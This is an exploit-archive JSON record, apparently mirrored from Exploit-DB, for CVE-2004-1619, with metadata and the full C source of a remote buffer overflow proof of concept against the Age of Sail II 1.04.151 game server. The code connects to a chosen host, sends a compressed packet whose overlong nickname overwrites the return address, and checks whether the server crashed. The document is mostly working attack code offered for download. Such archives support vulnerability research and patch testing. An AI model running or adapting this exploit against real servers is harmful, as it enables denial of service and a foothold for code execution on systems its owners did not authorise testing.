{"exploit":{"id":"EDB-604","name":"Age of Sail II 1.04.151 - Remote Buffer Overflow","description":"Age of Sail II 1.04.151 - Remote Buffer Overflow","cves":["CVE-2004-1619"],"author":"Luigi Auriemma","published":"2004-03-03","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/604","path":"exploits/windows/dos/604.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-604.c","vulnerabilities":[{"id":"CVE-2004-1619","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Privateer's Bounty: Age of Sail II allows remote attackers to execute arbitrary code via a long nickname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1619","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1619"},"updatedAt":"2024-08-08T01:00:36.765Z","retrievedAt":"2026-11-26T12:07:56.478Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-604.png?v=2","url":"https://exploitbin.com/exploits/EDB-604","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-604/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-604/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nby Luigi Auriemma\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <zlib.h>\n\n#ifdef WIN32\n    #include <winsock.h>\n#include <string.h>\n#include <errno.h>\n\n\n\nvoid std_err(void) {\n    char    *error;\n\n    switch(WSAGetLastError()) {\n        case 10004: error = \"Interrupted system call\"; break;\n        case 10009: error = \"Bad file number\"; break;\n        case 10013: error = \"Permission denied\"; break;\n        case 10014: error = \"Bad address\"; break;\n        case 10022: error = \"Invalid argument (not bind)\"; break;\n        case 10024: error = \"Too many open files\"; break;\n        case 10035: error = \"Operation would block\"; break;\n        case 10036: error = \"Operation now in progress\"; break;\n        case 10037: error = \"Operation already in progress\"; break;\n        case 10038: error = \"Socket operation on non-socket\"; break;\n        case 10039: error = \"Destination address required\"; break;\n        case 10040: error = \"Message too long\"; break;\n        case 10041: error = \"Protocol wrong type for socket\"; break;\n        case 10042: error = \"Bad protocol option\"; break;\n        case 10043: error = \"Protocol not supported\"; break;\n        case 10044: error = \"Socket type not supported\"; break;\n        case 10045: error = \"Operation not supported on socket\"; break;\n        case 10046: error = \"Protocol family not supported\"; break;\n        case 10047: error = \"Address family not supported by protocol family\"; break;\n        case 10048: error = \"Address already in use\"; break;\n        case 10049: error = \"Can't assign requested address\"; break;\n        case 10050: error = \"Network is down\"; break;\n        case 10051: error = \"Network is unreachable\"; break;\n        case 10052: error = \"Net dropped connection or reset\"; break;\n        case 10053: error = \"Software caused connection abort\"; break;\n        case 10054: error = \"Connection reset by peer\"; break;\n        case 10055: error = \"No buffer space available\"; break;\n        case 10056: error = \"Socket is already connected\"; break;\n        case 10057: error = \"Socket is not connected\"; break;\n        case 10058: error = \"Can't send after socket shutdown\"; break;\n        case 10059: error = \"Too many references, can't splice\"; break;\n        case 10060: error = \"Connection timed out\"; break;\n        case 10061: error = \"Connection refused\"; break;\n        case 10062: error = \"Too many levels of symbolic links\"; break;\n        case 10063: error = \"File name too long\"; break;\n        case 10064: error = \"Host is down\"; break;\n        case 10065: error = \"No Route to Host\"; break;\n        case 10066: error = \"Directory not empty\"; break;\n        case 10067: error = \"Too many processes\"; break;\n        case 10068: error = \"Too many users\"; break;\n        case 10069: error = \"Disc Quota Exceeded\"; break;\n        case 10070: error = \"Stale NFS file handle\"; break;\n        case 10091: error = \"Network SubSystem is unavailable\"; break;\n        case 10092: error = \"WINSOCK DLL Version out of range\"; break;\n        case 10093: error = \"Successful WSASTARTUP not yet performed\"; break;\n        case 10071: error = \"Too many levels of remote in path\"; break;\n        case 11001: error = \"Host not found\"; break;\n        case 11002: error = \"Non-Authoritative Host not found\"; break;\n        case 11003: error = \"Non-Recoverable errors: FORMERR, REFUSED, NOTIMP\"; break;\n        case 11004: error = \"Valid name, no data record of requested type\"; break;\n        default: error = strerror(errno); break;\n    }\n    fprintf(stderr, \"\\nError: %s\\n\", error);\n    exit(1);\n}\n\n\n\n\n    #define close   closesocket\n#else\n    #include <unistd.h>\n    #include <sys/socket.h>\n    #include <sys/types.h>\n    #include <arpa/inet.h>\n    #include <netinet/in.h>\n    #include <netdb.h>\n#endif\n\n\n\n#define VER     \"0.1\"\n#define PORT    7732\n#define BUFFSZ  2048\n#define NICKSZ  144\n#define RET     0xdeadc0de\n#define TIMEOUT 3\n\n\n\nint zip_it(u_char *in, int size, u_char *out, int maxsz);\nint timeout(int sock);\nu_long resolv(char *host);\nvoid std_err(void);\n\n\n\nint main(int argc, char *argv[]) {\n    struct      sockaddr_in peer;\n    int         sd,\n                len;\n    u_short     port = PORT;\n    u_char      buff[BUFFSZ],\n                pck[BUFFSZ];\n\n\n    setbuf(stdout, NULL);\n\n    fputs(\"\\n\"\n        \"Age of Sail II <= 1.04.151 server buffer overflow \"VER\"\\n\"\n        \"by Luigi Auriemma\\n\"\n        \"e-mail: aluigi@altervista.org\\n\"\n        \"web:    http://aluigi.altervista.org\\n\"\n        \"\\n\", stdout);\n\n    if(argc < 2) {\n        printf(\"\\n\"\n            \"Usage: %s <host> [port(%d)]\\n\"\n            \"\\n\"\n            \" Return address will be overwritten with 0x%08x\\n\"\n            \"\\n\", argv[0], port, RET);\n        exit(1);\n    }\n\n#ifdef WIN32\n    WSADATA    wsadata;\n    WSAStartup(MAKEWORD(1,0), &wsadata);\n#endif\n\n    if(argc > 2) port = atoi(argv[2]);\n\n    peer.sin_addr.s_addr = resolv(argv[1]);\n    peer.sin_port        = htons(port);\n    peer.sin_family      = AF_INET;\n\n    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if(sd < 0) std_err();\n\n    printf(\"\\n\"\n        \"- connect to %s:%hu...\",\n        inet_ntoa(peer.sin_addr), port);\n    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))\n      < 0) std_err();\n    fputs(\"ok\\n\\n\", stdout);\n\n    memset(pck, 0x00, BUFFSZ);                      // needed\n    *(u_short *)(pck + 4) = 2;                      // dunno (?)\n    *(u_short *)(pck + 6) = NICKSZ;                 // nickname size\n    memset(pck + 8, 'a', NICKSZ);                   // nickname\n    *(u_long *)(pck + 8 + NICKSZ - 4) = RET;        // return address\n    *(u_long *)(pck + NICKSZ + 44) = 0xffffffff;    // dunno (?)\n    *(u_long *)(pck + NICKSZ + 50) = 0x02060123;    // client version\n    len = 8 + NICKSZ + 36 + 6 + 4;\n    *(u_short *)(pck + 2) = len - 4;                // size - 4\n\n    len = zip_it(pck, len, buff + 4, BUFFSZ - 4) + 4;\n    *(u_long *)buff = len;\n    printf(\"- send buffer-overflow data, return address will be overwritten with 0x%08x\\n\", RET);\n    if(send(sd, buff, len, 0)\n      < 0) std_err();\n\n    fputs(\"- check if server is vulnerable:\\n\", stdout);\n    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {\n        fputs(\"\\nServer IS vulnerable!!!!!!!\\n\\n\", stdout);\n    } else {\n        fputs(\"\\nServer doesn't seem vulnerable\\n\\n\", stdout);\n    }\n\n    close(sd);\n\n    return(0);\n}\n\n\n\nint zip_it(u_char *in, int size, u_char *out, int maxsz) {\n    z_stream        z;\n    int             ret;\n\n    z.zalloc = (alloc_func)0;\n    z.zfree  = (free_func)0;\n    z.opaque = (voidpf)0;\n\n    if(deflateInit(&z, Z_BEST_COMPRESSION)) {\n        fputs(\"\\nError: zlib initialization error\\n\", stdout);\n        exit(1);\n    }\n\n    z.next_in   = in;\n    z.avail_in  = size;\n    z.next_out  = out;\n    z.avail_out = maxsz;\n    deflate(&z, Z_FINISH);\n\n    ret = z.total_out;\n    deflateEnd(&z);\n    return(ret);\n}\n\n\n\nint timeout(int sock) {\n    struct  timeval tout;\n    fd_set  fd_read;\n    int     err;\n\n    tout.tv_sec = TIMEOUT;\n    tout.tv_usec = 0;\n    FD_ZERO(&fd_read);\n    FD_SET(sock, &fd_read);\n    err = select(sock + 1, &fd_read, NULL, NULL, &tout);\n    if(err < 0) std_err();\n    if(!err) return(-1);\n    return(0);\n}\n\n\n\nu_long resolv(char *host) {\n    struct  hostent *hp;\n    u_long  host_ip;\n\n    host_ip = inet_addr(host);\n    if(host_ip == INADDR_NONE) {\n        hp = gethostbyname(host);\n        if(!hp) {\n            printf(\"\\nError: Unable to resolve hostname (%s)\\n\", host);\n            exit(1);\n        } else host_ip = *(u_long *)(hp->h_addr);\n    }\n    return(host_ip);\n}\n\n\n\n#ifndef WIN32\n    void std_err(void) {\n        perror(\"\\nError\");\n        exit(1);\n    }\n#endif\n\n// milw0rm.com [2004-03-03]","sha256":"c6435bd661dbdfff0e60d79421e57b1a7dfd90d8620ce2284015d60b7d878ac9","bytes":7689,"fetchedAt":"2026-11-26T12:07:51.628Z","encoding":"utf-8 (display only; download retains original bytes)"}